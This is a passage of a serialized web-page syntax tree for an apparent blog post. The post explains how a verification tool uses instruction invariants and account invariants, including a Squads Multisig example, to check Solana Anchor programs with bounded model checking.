",{"type":21,"tag":39,"props":20956,"children":20957},{},[20958],{"type":26,"value":20959},"exact condition",{"type":26,"value":20961}," required for an instruction to succeed, you could use a form like the following:",{"type":21,"tag":75,"props":20963,"children":20965},{"code":20964,"language":79,"meta":7,"className":77,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[20966],{"type":21,"tag":66,"props":20967,"children":20968},{"__ignoreMap":7},[20969,21013,21020,21037,21063,21115,21122],{"type":21,"tag":85,"props":20970,"children":20971},{"class":87,"line":88},[20972,20976,20981,20985,20989,20993,20997,21001,21005,21009],{"type":21,"tag":85,"props":20973,"children":20974},{"style":102},[20975],{"type":26,"value":20694},{"type":21,"tag":85,"props":20977,"children":20978},{"style":1021},[20979],{"type":26,"value":20980}," my_invariant",{"type":21,"tag":85,"props":20982,"children":20983},{"style":114},[20984],{"type":26,"value":1439},{"type":21,"tag":85,"props":20986,"children":20987},{"style":169},[20988],{"type":26,"value":10004},{"type":21,"tag":85,"props":20990,"children":20991},{"style":114},[20992],{"type":26,"value":736},{"type":21,"tag":85,"props":20994,"children":20995},{"style":169},[20996],{"type":26,"value":14175},{"type":21,"tag":85,"props":20998,"children":20999},{"style":108},[21000],{"type":26,"value":12467},{"type":21,"tag":85,"props":21002,"children":21003},{"style":114},[21004],{"type":26,"value":9999},{"type":21,"tag":85,"props":21006,"children":21007},{"style":169},[21008],{"type":26,"value":10004},{"type":21,"tag":85,"props":21010,"children":21011},{"style":114},[21012],{"type":26,"value":10009},{"type":21,"tag":85,"props":21014,"children":21015},{"class":87,"line":98},[21016],{"type":21,"tag":85,"props":21017,"children":21018},{"emptyLinePlaceholder":16},[21019],{"type":26,"value":703},{"type":21,"tag":85,"props":21021,"children":21022},{"class":87,"line":151},[21023,21028,21032],{"type":21,"tag":85,"props":21024,"children":21025},{"style":114},[21026],{"type":26,"value":21027},"#[succeeds_if(my_invariant(",{"type":21,"tag":85,"props":21029,"children":21030},{"style":169},[21031],{"type":26,"value":10004},{"type":21,"tag":85,"props":21033,"children":21034},{"style":114},[21035],{"type":26,"value":21036},"))]\n",{"type":21,"tag":85,"props":21038,"children":21039},{"class":87,"line":160},[21040,21045,21050,21055,21059],{"type":21,"tag":85,"props":21041,"children":21042},{"style":114},[21043],{"type":26,"value":21044},"#[errors_if(",{"type":21,"tag":85,"props":21046,"children":21047},{"style":169},[21048],{"type":26,"value":21049},"!",{"type":21,"tag":85,"props":21051,"children":21052},{"style":114},[21053],{"type":26,"value":21054},"my_invariant(",{"type":21,"tag":85,"props":21056,"children":21057},{"style":169},[21058],{"type":26,"value":10004},{"type":21,"tag":85,"props":21060,"children":21061},{"style":114},[21062],{"type":26,"value":21036},{"type":21,"tag":85,"props":21064,"children":21065},{"class":87,"line":185},[21066,21070,21075,21079,21083,21087,21091,21095,21099,21103,21107,21111],{"type":21,"tag":85,"props":21067,"children":21068},{"style":102},[21069],{"type":26,"value":20694},{"type":21,"tag":85,"props":21071,"children":21072},{"style":1021},[21073],{"type":26,"value":21074}," my_instruction",{"type":21,"tag":85,"props":21076,"children":21077},{"style":114},[21078],{"type":26,"value":1439},{"type":21,"tag":85,"props":21080,"children":21081},{"style":120},[21082],{"type":26,"value":20708},{"type":21,"tag":85,"props":21084,"children":21085},{"style":169},[21086],{"type":26,"value":172},{"type":21,"tag":85,"props":21088,"children":21089},{"style":108},[21090],{"type":26,"value":20717},{"type":21,"tag":85,"props":21092,"children":21093},{"style":114},[21094],{"type":26,"value":117},{"type":21,"tag":85,"props":21096,"children":21097},{"style":169},[21098],{"type":26,"value":10004},{"type":21,"tag":85,"props":21100,"children":21101},{"style":114},[21102],{"type":26,"value":20874},{"type":21,"tag":85,"props":21104,"children":21105},{"style":169},[21106],{"type":26,"value":14175},{"type":21,"tag":85,"props":21108,"children":21109},{"style":108},[21110],{"type":26,"value":14180},{"type":21,"tag":85,"props":21112,"children":21113},{"style":114},[21114],{"type":26,"value":20759},{"type":21,"tag":85,"props":21116,"children":21117},{"class":87,"line":501},[21118],{"type":21,"tag":85,"props":21119,"children":21120},{"style":169},[21121],{"type":26,"value":20767},{"type":21,"tag":85,"props":21123,"children":21124},{"class":87,"line":697},[21125],{"type":21,"tag":85,"props":21126,"children":21127},{"style":114},[21128],{"type":26,"value":2671},{"type":21,"tag":22,"props":21130,"children":21131},{},[21132],{"type":26,"value":21133},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":21,"tag":19318,"props":21135,"children":21137},{"id":21136},"account-invariants",[21138],{"type":26,"value":21139},"Account Invariants",{"type":21,"tag":22,"props":21141,"children":21142},{},[21143,21145,21150],{"type":26,"value":21144},"The other type of invariant is an ",{"type":21,"tag":873,"props":21146,"children":21147},{},[21148],{"type":26,"value":21149},"Account Invariant",{"type":26,"value":21151},". This invariant describes some property of an account that should always hold.",{"type":21,"tag":22,"props":21153,"children":21154},{},[21155,21157,21162,21163,21169],{"type":26,"value":21156},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":21,"tag":66,"props":21158,"children":21160},{"className":21159},[],[21161],{"type":26,"value":2039},{"type":26,"value":13551},{"type":21,"tag":66,"props":21164,"children":21166},{"className":21165},[],[21167],{"type":26,"value":21168},"init",{"type":26,"value":21170},").",{"type":21,"tag":22,"props":21172,"children":21173},{},[21174,21176,21182],{"type":26,"value":21175},"For example, given a mock ",{"type":21,"tag":66,"props":21177,"children":21179},{"className":21178},[],[21180],{"type":26,"value":21181},"UserStatement",{"type":26,"value":21183}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":21,"tag":75,"props":21185,"children":21187},{"code":21186,"language":79,"meta":7,"className":77,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[21188],{"type":21,"tag":66,"props":21189,"children":21190},{"__ignoreMap":7},[21191,21199,21207,21241,21248,21264,21290,21314,21338],{"type":21,"tag":85,"props":21192,"children":21193},{"class":87,"line":88},[21194],{"type":21,"tag":85,"props":21195,"children":21196},{"style":114},[21197],{"type":26,"value":21198},"#[account]\n",{"type":21,"tag":85,"props":21200,"children":21201},{"class":87,"line":98},[21202],{"type":21,"tag":85,"props":21203,"children":21204},{"style":114},[21205],{"type":26,"value":21206},"#[invariant(\n",{"type":21,"tag":85,"props":21208,"children":21209},{"class":87,"line":151},[21210,21215,21219,21224,21228,21232,21236],{"type":21,"tag":85,"props":21211,"children":21212},{"style":114},[21213],{"type":26,"value":21214},"    self",{"type":21,"tag":85,"props":21216,"children":21217},{"style":169},[21218],{"type":26,"value":73},{"type":21,"tag":85,"props":21220,"children":21221},{"style":114},[21222],{"type":26,"value":21223},"assets ",{"type":21,"tag":85,"props":21225,"children":21226},{"style":169},[21227],{"type":26,"value":10358},{"type":21,"tag":85,"props":21229,"children":21230},{"style":114},[21231],{"type":26,"value":14215},{"type":21,"tag":85,"props":21233,"children":21234},{"style":169},[21235],{"type":26,"value":73},{"type":21,"tag":85,"props":21237,"children":21238},{"style":114},[21239],{"type":26,"value":21240},"liabilities\n",{"type":21,"tag":85,"props":21242,"children":21243},{"class":87,"line":160},[21244],{"type":21,"tag":85,"props":21245,"children":21246},{"style":114},[21247],{"type":26,"value":20686},{"type":21,"tag":85,"props":21249,"children":21250},{"class":87,"line":185},[21251,21255,21260],{"type":21,"tag":85,"props":21252,"children":21253},{"style":102},[21254],{"type":26,"value":9814},{"type":21,"tag":85,"props":21256,"children":21257},{"style":108},[21258],{"type":26,"value":21259}," UserStatement",{"type":21,"tag":85,"props":21261,"children":21262},{"style":114},[21263],{"type":26,"value":148},{"type":21,"tag":85,"props":21265,"children":21266},{"class":87,"line":501},[21267,21272,21277,21281,21286],{"type":21,"tag":85,"props":21268,"children":21269},{"style":102},[21270],{"type":26,"value":21271},"    pub",{"type":21,"tag":85,"props":21273,"children":21274},{"style":120},[21275],{"type":26,"value":21276}," owner",{"type":21,"tag":85,"props":21278,"children":21279},{"style":169},[21280],{"type":26,"value":172},{"type":21,"tag":85,"props":21282,"children":21283},{"style":108},[21284],{"type":26,"value":21285}," Pubkey",{"type":21,"tag":85,"props":21287,"children":21288},{"style":114},[21289],{"type":26,"value":182},{"type":21,"tag":85,"props":21291,"children":21292},{"class":87,"line":697},[21293,21297,21302,21306,21310],{"type":21,"tag":85,"props":21294,"children":21295},{"style":102},[21296],{"type":26,"value":21271},{"type":21,"tag":85,"props":21298,"children":21299},{"style":120},[21300],{"type":26,"value":21301}," assets",{"type":21,"tag":85,"props":21303,"children":21304},{"style":169},[21305],{"type":26,"value":172},{"type":21,"tag":85,"props":21307,"children":21308},{"style":108},[21309],{"type":26,"value":177},{"type":21,"tag":85,"props":21311,"children":21312},{"style":114},[21313],{"type":26,"value":182},{"type":21,"tag":85,"props":21315,"children":21316},{"class":87,"line":706},[21317,21321,21326,21330,21334],{"type":21,"tag":85,"props":21318,"children":21319},{"style":102},[21320],{"type":26,"value":21271},{"type":21,"tag":85,"props":21322,"children":21323},{"style":120},[21324],{"type":26,"value":21325}," liabilities",{"type":21,"tag":85,"props":21327,"children":21328},{"style":169},[21329],{"type":26,"value":172},{"type":21,"tag":85,"props":21331,"children":21332},{"style":108},[21333],{"type":26,"value":177},{"type":21,"tag":85,"props":21335,"children":21336},{"style":114},[21337],{"type":26,"value":182},{"type":21,"tag":85,"props":21339,"children":21340},{"class":87,"line":1100},[21341],{"type":21,"tag":85,"props":21342,"children":21343},{"style":114},[21344],{"type":26,"value":2671},{"type":21,"tag":22,"props":21346,"children":21347},{},[21348,21350,21355],{"type":26,"value":21349},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":21,"tag":66,"props":21351,"children":21353},{"className":21352},[],[21354],{"type":26,"value":21181},{"type":26,"value":21356}," is created or modified.",{"type":21,"tag":22,"props":21358,"children":21359},{},[21360,21362,21368],{"type":26,"value":21361},"In another example, we developed the following invariant for the ",{"type":21,"tag":335,"props":21363,"children":21365},{"href":19249,"rel":21364},[339],[21366],{"type":26,"value":21367},"Squads Multisig",{"type":26,"value":21369}," wallet account:",{"type":21,"tag":75,"props":21371,"children":21373},{"code":21372,"language":79,"meta":7,"className":77,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[21374],{"type":21,"tag":66,"props":21375,"children":21376},{"__ignoreMap":7},[21377,21384,21391,21421,21480,21509,21561,21568,21589,21619,21649,21679,21708,21738,21768,21797,21837],{"type":21,"tag":85,"props":21378,"children":21379},{"class":87,"line":88},[21380],{"type":21,"tag":85,"props":21381,"children":21382},{"style":114},[21383],{"type":26,"value":21198},{"type":21,"tag":85,"props":21385,"children":21386},{"class":87,"line":98},[21387],{"type":21,"tag":85,"props":21388,"children":21389},{"style":114},[21390],{"type":26,"value":21206},{"type":21,"tag":85,"props":21392,"children":21393},{"class":87,"line":151},[21394,21399,21403,21407,21412,21416],{"type":21,"tag":85,"props":21395,"children":21396},{"style":169},[21397],{"type":26,"value":21398},"    !",{"type":21,"tag":85,"props":21400,"children":21401},{"style":114},[21402],{"type":26,"value":14131},{"type":21,"tag":85,"props":21404,"children":21405},{"style":169},[21406],{"type":26,"value":73},{"type":21,"tag":85,"props":21408,"children":21409},{"style":114},[21410],{"type":26,"value":21411},"keys",{"type":21,"tag":85,"props":21413,"children":21414},{"style":169},[21415],{"type":26,"value":73},{"type":21,"tag":85,"props":21417,"children":21418},{"style":114},[21419],{"type":26,"value":21420},"is_empty()\n",{"type":21,"tag":85,"props":21422,"children":21423},{"class":87,"line":160},[21424,21428,21433,21437,21441,21445,21450,21454,21459,21463,21468,21472,21476],{"type":21,"tag":85,"props":21425,"children":21426},{"style":169},[21427],{"type":26,"value":16041},{"type":21,"tag":85,"props":21429,"children":21430},{"style":114},[21431],{"type":26,"value":21432}," (self",{"type":21,"tag":85,"props":21434,"children":21435},{"style":169},[21436],{"type":26,"value":73},{"type":21,"tag":85,"props":21438,"children":21439},{"style":114},[21440],{"type":26,"value":21411},{"type":21,"tag":85,"props":21442,"children":21443},{"style":169},[21444],{"type":26,"value":73},{"type":21,"tag":85,"props":21446,"children":21447},{"style":114},[21448],{"type":26,"value":21449},"len() ",{"type":21,"tag":85,"props":21451,"children":21452},{"style":169},[21453],{"type":26,"value":19841},{"type":21,"tag":85,"props":21455,"children":21456},{"style":108},[21457],{"type":26,"value":21458}," u16",{"type":21,"tag":85,"props":21460,"children":21461},{"style":169},[21462],{"type":26,"value":1087},{"type":21,"tag":85,"props":21464,"children":21465},{"style":108},[21466],{"type":26,"value":21467},"MAX",{"type":21,"tag":85,"props":21469,"children":21470},{"style":102},[21471],{"type":26,"value":3195},{"type":21,"tag":85,"props":21473,"children":21474},{"style":108},[21475],{"type":26,"value":14149},{"type":21,"tag":85,"props":21477,"children":21478},{"style":114},[21479],{"type":26,"value":2485},{"type":21,"tag":85,"props":21481,"children":21482},{"class":87,"line":185},[21483,21487,21491,21495,21500,21504],{"type":21,"tag":85,"props":21484,"children":21485},{"style":169},[21486],{"type":26,"value":16041},{"type":21,"tag":85,"props":21488,"children":21489},{"style":114},[21490],{"type":26,"value":21432},{"type":21,"tag":85,"props":21492,"children":21493},{"style":169},[21494],{"type":26,"value":73},{"type":21,"tag":85,"props":21496,"children":21497},{"style":114},[21498],{"type":26,"value":21499},"threshold ",{"type":21,"tag":85,"props":21501,"children":21502},{"style":169},[21503],{"type":26,"value":10358},{"type":21,"tag":85,"props":21505,"children":21506},{"style":114},[21507],{"type":26,"value":21508}," 1)\n",{"type":21,"tag":85,"props":21510,"children":21511},{"class":87,"line":501},[21512,21516,21520,21524,21528,21532,21536,21540,21544,21548,21552,21556],{"type":21,"tag":85,"props":21513,"children":21514},{"style":169},[21515],{"type":26,"value":16041},{"type":21,"tag":85,"props":21517,"children":21518},{"style":114},[21519],{"type":26,"value":21432},{"type":21,"tag":85,"props":21521,"children":21522},{"style":169},[21523],{"type":26,"value":73},{"type":21,"tag":85,"props":21525,"children":21526},{"style":114},[21527],{"type":26,"value":21499},{"type":21,"tag":85,"props":21529,"children":21530},{"style":102},[21531],{"type":26,"value":3209},{"type":21,"tag":85,"props":21533,"children":21534},{"style":108},[21535],{"type":26,"value":14149},{"type":21,"tag":85,"props":21537,"children":21538},{"style":169},[21539],{"type":26,"value":2553},{"type":21,"tag":85,"props":21541,"children":21542},{"style":114},[21543],{"type":26,"value":14215},{"type":21,"tag":85,"props":21545,"children":21546},{"style":169},[21547],{"type":26,"value":73},{"type":21,"tag":85,"props":21549,"children":21550},{"style":114},[21551],{"type":26,"value":21411},{"type":21,"tag":85,"props":21553,"children":21554},{"style":169},[21555],{"type":26,"value":73},{"type":21,"tag":85,"props":21557,"children":21558},{"style":114},[21559],{"type":26,"value":21560},"len())\n",{"type":21,"tag":85,"props":21562,"children":21563},{"class":87,"line":697},[21564],{"type":21,"tag":85,"props":21565,"children":21566},{"style":114},[21567],{"type":26,"value":20686},{"type":21,"tag":85,"props":21569,"children":21570},{"class":87,"line":706},[21571,21575,21580,21585],{"type":21,"tag":85,"props":21572,"children":21573},{"style":102},[21574],{"type":26,"value":14108},{"type":21,"tag":85,"props":21576,"children":21577},{"style":102},[21578],{"type":26,"value":21579}," struct",{"type":21,"tag":85,"props":21581,"children":21582},{"style":108},[21583],{"type":26,"value":21584}," Ms",{"type":21,"tag":85,"props":21586,"children":21587},{"style":114},[21588],{"type":26,"value":148},{"type":21,"tag":85,"props":21590,"children":21591},{"class":87,"line":1100},[21592,21596,21601,21605,21609,21614],{"type":21,"tag":85,"props":21593,"children":21594},{"style":102},[21595],{"type":26,"value":21271},{"type":21,"tag":85,"props":21597,"children":21598},{"style":120},[21599],{"type":26,"value":21600}," threshold",{"type":21,"tag":85,"props":21602,"children":21603},{"style":169},[21604],{"type":26,"value":172},{"type":21,"tag":85,"props":21606,"children":21607},{"style":108},[21608],{"type":26,"value":21458},{"type":21,"tag":85,"props":21610,"children":21611},{"style":114},[21612],{"type":26,"value":21613},",               ",{"type":21,"tag":85,"props":21615,"children":21616},{"style":92},[21617],{"type":26,"value":21618},"// threshold for signatures\n",{"type":21,"tag":85,"props":21620,"children":21621},{"class":87,"line":1339},[21622,21626,21631,21635,21639,21644],{"type":21,"tag":85,"props":21623,"children":21624},{"style":102},[21625],{"type":26,"value":21271},{"type":21,"tag":85,"props":21627,"children":21628},{"style":120},[21629],{"type":26,"value":21630}," authority_index",{"type":21,"tag":85,"props":21632,"children":21633},{"style":169},[21634],{"type":26,"value":172},{"type":21,"tag":85,"props":21636,"children":21637},{"style":108},[21638],{"type":26,"value":21458},{"type":21,"tag":85,"props":21640,"children":21641},{"style":114},[21642],{"type":26,"value":21643},",         ",{"type":21,"tag":85,"props":21645,"children":21646},{"style":92},[21647],{"type":26,"value":21648},"// index to seed other authorities under this multisig\n",{"type":21,"tag":85,"props":21650,"children":21651},{"class":87,"line":1348},[21652,21656,21661,21665,21669,21674],{"type":21,"tag":85,"props":21653,"children":21654},{"style":102},[21655],{"type":26,"value":21271},{"type":21,"tag":85,"props":21657,"children":21658},{"style":120},[21659],{"type":26,"value":21660}," transaction_index",{"type":21,"tag":85,"props":21662,"children":21663},{"style":169},[21664],{"type":26,"value":172},{"type":21,"tag":85,"props":21666,"children":21667},{"style":108},[21668],{"type":26,"value":17972},{"type":21,"tag":85,"props":21670,"children":21671},{"style":114},[21672],{"type":26,"value":21673},",       ",{"type":21,"tag":85,"props":21675,"children":21676},{"style":92},[21677],{"type":26,"value":21678},"// look up and seed reference for transactions\n",{"type":21,"tag":85,"props":21680,"children":21681},{"class":87,"line":1386},[21682,21686,21691,21695,21699,21703],{"type":21,"tag":85,"props":21683,"children":21684},{"style":102},[21685],{"type":26,"value":21271},{"type":21,"tag":85,"props":21687,"children":21688},{"style":120},[21689],{"type":26,"value":21690}," ms_change_index",{"type":21,"tag":85,"props":21692,"children":21693},{"style":169},[21694],{"type":26,"value":172},{"type":21,"tag":85,"props":21696,"children":21697},{"style":108},[21698],{"type":26,"value":17972},{"type":21,"tag":85,"props":21700,"children":21701},{"style":114},[21702],{"type":26,"value":21643},{"type":21,"tag":85,"props":21704,"children":21705},{"style":92},[21706],{"type":26,"value":21707},"// the last executed/closed transaction\n",{"type":21,"tag":85,"props":21709,"children":21710},{"class":87,"line":1394},[21711,21715,21720,21724,21728,21733],{"type":21,"tag":85,"props":21712,"children":21713},{"style":102},[21714],{"type":26,"value":21271},{"type":21,"tag":85,"props":21716,"children":21717},{"style":120},[21718],{"type":26,"value":21719}," bump",{"type":21,"tag":85,"props":21721,"children":21722},{"style":169},[21723],{"type":26,"value":172},{"type":21,"tag":85,"props":21725,"children":21726},{"style":108},[21727],{"type":26,"value":15052},{"type":21,"tag":85,"props":21729,"children":21730},{"style":114},[21731],{"type":26,"value":21732},",                     ",{"type":21,"tag":85,"props":21734,"children":21735},{"style":92},[21736],{"type":26,"value":21737},"// bump for the multisig seed\n",{"type":21,"tag":85,"props":21739,"children":21740},{"class":87,"line":1402},[21741,21745,21750,21754,21758,21763],{"type":21,"tag":85,"props":21742,"children":21743},{"style":102},[21744],{"type":26,"value":21271},{"type":21,"tag":85,"props":21746,"children":21747},{"style":120},[21748],{"type":26,"value":21749}," create_key",{"type":21,"tag":85,"props":21751,"children":21752},{"style":169},[21753],{"type":26,"value":172},{"type":21,"tag":85,"props":21755,"children":21756},{"style":108},[21757],{"type":26,"value":21285},{"type":21,"tag":85,"props":21759,"children":21760},{"style":114},[21761],{"type":26,"value":21762},",           ",{"type":21,"tag":85,"props":21764,"children":21765},{"style":92},[21766],{"type":26,"value":21767},"// random key(or not) used to seed the multisig pda\n",{"type":21,"tag":85,"props":21769,"children":21770},{"class":87,"line":3145},[21771,21775,21780,21784,21788,21792],{"type":21,"tag":85,"props":21772,"children":21773},{"style":102},[21774],{"type":26,"value":21271},{"type":21,"tag":85,"props":21776,"children":21777},{"style":120},[21778],{"type":26,"value":21779}," allow_external_execute",{"type":21,"tag":85,"props":21781,"children":21782},{"style":169},[21783],{"type":26,"value":172},{"type":21,"tag":85,"props":21785,"children":21786},{"style":108},[21787],{"type":26,"value":12467},{"type":21,"tag":85,"props":21789,"children":21790},{"style":114},[21791],{"type":26,"value":256},{"type":21,"tag":85,"props":21793,"children":21794},{"style":92},[21795],{"type":26,"value":21796},"// allow non-member keys to execute txs\n",{"type":21,"tag":85,"props":21798,"children":21799},{"class":87,"line":3246},[21800,21804,21809,21813,21818,21822,21827,21832],{"type":21,"tag":85,"props":21801,"children":21802},{"style":102},[21803],{"type":26,"value":21271},{"type":21,"tag":85,"props":21805,"children":21806},{"style":120},[21807],{"type":26,"value":21808}," keys",{"type":21,"tag":85,"props":21810,"children":21811},{"style":169},[21812],{"type":26,"value":172},{"type":21,"tag":85,"props":21814,"children":21815},{"style":108},[21816],{"type":26,"value":21817}," Vec",{"type":21,"tag":85,"props":21819,"children":21820},{"style":114},[21821],{"type":26,"value":117},{"type":21,"tag":85,"props":21823,"children":21824},{"style":108},[21825],{"type":26,"value":21826},"Pubkey",{"type":21,"tag":85,"props":21828,"children":21829},{"style":114},[21830],{"type":26,"value":21831},">,            ",{"type":21,"tag":85,"props":21833,"children":21834},{"style":92},[21835],{"type":26,"value":21836},"// keys of the members\n",{"type":21,"tag":85,"props":21838,"children":21839},{"class":87,"line":3255},[21840],{"type":21,"tag":85,"props":21841,"children":21842},{"style":114},[21843],{"type":26,"value":2671},{"type":21,"tag":22,"props":21845,"children":21846},{},[21847],{"type":26,"value":21848},"Here we are verifying multiple things at once:",{"type":21,"tag":17108,"props":21850,"children":21851},{},[21852,21863,21874,21885],{"type":21,"tag":845,"props":21853,"children":21854},{},[21855,21861],{"type":21,"tag":66,"props":21856,"children":21858},{"className":21857},[],[21859],{"type":26,"value":21860},"!self.keys.is_empty()",{"type":26,"value":21862}," : ensure there is at least one member",{"type":21,"tag":845,"props":21864,"children":21865},{},[21866,21872],{"type":21,"tag":66,"props":21867,"children":21869},{"className":21868},[],[21870],{"type":26,"value":21871},"self.keys.len() \u003C= u16::MAX as usize",{"type":26,"value":21873}," : set an upper limit of 65535 members",{"type":21,"tag":845,"props":21875,"children":21876},{},[21877,21883],{"type":21,"tag":66,"props":21878,"children":21880},{"className":21879},[],[21881],{"type":26,"value":21882},"self.threshold >= 1",{"type":26,"value":21884}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":21,"tag":845,"props":21886,"children":21887},{},[21888,21894],{"type":21,"tag":66,"props":21889,"children":21891},{"className":21890},[],[21892],{"type":26,"value":21893},"self.threshold as usize \u003C= self.keys.len()",{"type":26,"value":21895}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":21,"tag":54,"props":21897,"children":21899},{"id":21898},"verification-how-do-we-check-that-our-model-is-correct",[21900],{"type":26,"value":21901},"Verification: How do we check that our model is correct?",{"type":21,"tag":22,"props":21903,"children":21904},{},[21905,21907,21911,21913,21918],{"type":26,"value":21906},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":21,"tag":39,"props":21908,"children":21909},{},[21910],{"type":26,"value":20396},{"type":26,"value":21912}," on which we can run bounded model checking. Our tool does this ",{"type":21,"tag":39,"props":21914,"children":21915},{},[21916],{"type":26,"value":21917},"automagically",{"type":26,"value":21919}," for anchor-lang programs.",{"type":21,"tag":22,"props":21921,"children":21922},{},[21923,21925,21931,21933,21938,21940,21945,21946,21951,21953,21958,21960,21965,21966,21972,21974,21980,21981,21987],{"type":26,"value":21924},"Specifically, for a given ",{"type":21,"tag":66,"props":21926,"children":21928},{"className":21927},[],[21929],{"type":26,"value":21930},"Context\u003CT>",{"type":26,"value":21932}," with ",{"type":21,"tag":39,"props":21934,"children":21935},{},[21936],{"type":26,"value":21937},"incoming",{"type":26,"value":21939}," accounts of types (",{"type":21,"tag":66,"props":21941,"children":21943},{"className":21942},[],[21944],{"type":26,"value":21168},{"type":26,"value":5349},{"type":21,"tag":66,"props":21947,"children":21949},{"className":21948},[],[21950],{"type":26,"value":2039},{"type":26,"value":21952},") and ",{"type":21,"tag":39,"props":21954,"children":21955},{},[21956],{"type":26,"value":21957},"outgoing",{"type":26,"value":21959}," accounts of type (",{"type":21,"tag":66,"props":21961,"children":21963},{"className":21962},[],[21964],{"type":26,"value":2039},{"type":26,"value":5349},{"type":21,"tag":66,"props":21967,"children":21969},{"className":21968},[],[21970],{"type":26,"value":21971},"close",{"type":26,"value":21973},") we define a ",{"type":21,"tag":66,"props":21975,"children":21977},{"className":21976},[],[21978],{"type":26,"value":21979},"pre_condition",{"type":26,"value":11408},{"type":21,"tag":66,"props":21982,"children":21984},{"className":21983},[],[21985],{"type":26,"value":21986},"post_condition",{"type":26,"value":21988}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":21,"tag":22,"props":21990,"children":21991},{},[21992],{"type":21,"tag":66,"props":21993,"children":21995},{"className":21994},[4748,4749],[21996],{"type":21,"tag":85,"props":21997,"children":21999},{"className":21998},[4754],[22000],{"type":21,"tag":85,"props":22001,"children":22003},{"className":22002,"ariaHidden":4760},[4759],[22004,22040],{"type":21,"tag":85,"props":22005,"children":22007},{"className":22006},[4765],[22008,22013,22021,22026,22030,22036],{"type":21,"tag":85,"props":22009,"children":22012},{"className":22010,"style":22011},[4770],"height:0.6833em;",[],{"type":21,"tag":85,"props":22014,"children":22018},{"className":22015,"style":22017},[4776,22016],"mathnormal","margin-right:0.13889em;",[22019],{"type":26,"value":22020},"P",{"type":21,"tag":85,"props":22022,"children":22024},{"className":22023},[4776],[22025],{"type":26,"value":4789},{"type":21,"tag":85,"props":22027,"children":22029},{"className":22028,"style":4955},[4857],[],{"type":21,"tag":85,"props":22031,"children":22033},{"className":22032},[4960],[22034],{"type":26,"value":22035},":=",{"type":21,"tag":85,"props":22037,"children":22039},{"className":22038,"style":4955},[4857],[],{"type":21,"tag":85,"props":22041,"children":22043},{"className":22042},[4765],[22044,22049,22189,22193],{"type":21,"tag":85,"props":22045,"children":22048},{"className":22046,"style":22047},[4770],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":21,"tag":85,"props":22050,"children":22053},{"className":22051},[22052],"mop",[22054,22063],{"type":21,"tag":85,"props":22055,"children":22060},{"className":22056,"style":22059},[22052,22057,22058],"op-symbol","small-op","position:relative;top:0em;",[22061],{"type":26,"value":22062},"⋀",{"type":21,"tag":85,"props":22064,"children":22066},{"className":22065},[4793],[22067],{"type":21,"tag":85,"props":22068,"children":22071},{"className":22069},[4798,22070],"vlist-t2",[22072,22177],{"type":21,"tag":85,"props":22073,"children":22075},{"className":22074},[4803],[22076,22170],{"type":21,"tag":85,"props":22077,"children":22080},{"className":22078,"style":22079},[4808],"height:0.2253em;",[22081],{"type":21,"tag":85,"props":22082,"children":22084},{"style":22083},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[22085,22089],{"type":21,"tag":85,"props":22086,"children":22088},{"className":22087,"style":4818},[4817],[],{"type":21,"tag":85,"props":22090,"children":22092},{"className":22091},[4823,4824,4825,4826],[22093],{"type":21,"tag":85,"props":22094,"children":22096},{"className":22095},[4776,4826],[22097,22102,22108,22118,22124,22133,22142,22148,22153,22159,22164],{"type":21,"tag":85,"props":22098,"children":22100},{"className":22099},[4776,22016,4826],[22101],{"type":26,"value":335},{"type":21,"tag":85,"props":22103,"children":22105},{"className":22104},[4776,22016,4826],[22106],{"type":26,"value":22107},"cc",{"type":21,"tag":85,"props":22109,"children":22111},{"className":22110},[4857,4826],[22112],{"type":21,"tag":85,"props":22113,"children":22115},{"className":22114},[4826],[22116],{"type":26,"value":22117}," ",{"type":21,"tag":85,"props":22119,"children":22121},{"className":22120},[4960,4826],[22122],{"type":26,"value":22123},"∈",{"type":21,"tag":85,"props":22125,"children":22127},{"className":22126},[4857,4826],[22128],{"type":21,"tag":85,"props":22129,"children":22131},{"className":22130},[4826],[22132],{"type":26,"value":22117},{"type":21,"tag":85,"props":22134,"children":22136},{"className":22135},[4776,26,4826],[22137],{"type":21,"tag":85,"props":22138,"children":22140},{"className":22139},[4776,4826],[22141],{"type":26,"value":21937},{"type":21,"tag":85,"props":22143,"children":22146},{"className":22144},[22145,4826],"mopen",[22147],{"type":26,"value":1439},{"type":21,"tag":85,"props":22149,"children":22151},{"className":22150},[4776,22016,4826],[22152],{"type":26,"value":3918},{"type":21,"tag":85,"props":22154,"children":22156},{"className":22155},[4776,22016,4826],[22157],{"type":26,"value":22158},"t",{"type":21,"tag":85,"props":22160,"children":22162},{"className":22161},[4776,22016,4826],[22163],{"type":26,"value":19702},{"type":21,"tag":85,"props":22165,"children":22168},{"className":22166},[22167,4826],"mclose",[22169],{"type":26,"value":1900},{"type":21,"tag":85,"props":22171,"children":22174},{"className":22172},[22173],"vlist-s",[22175],{"type":26,"value":22176},"​",{"type":21,"tag":85,"props":22178,"children":22180},{"className":22179},[4803],[22181],{"type":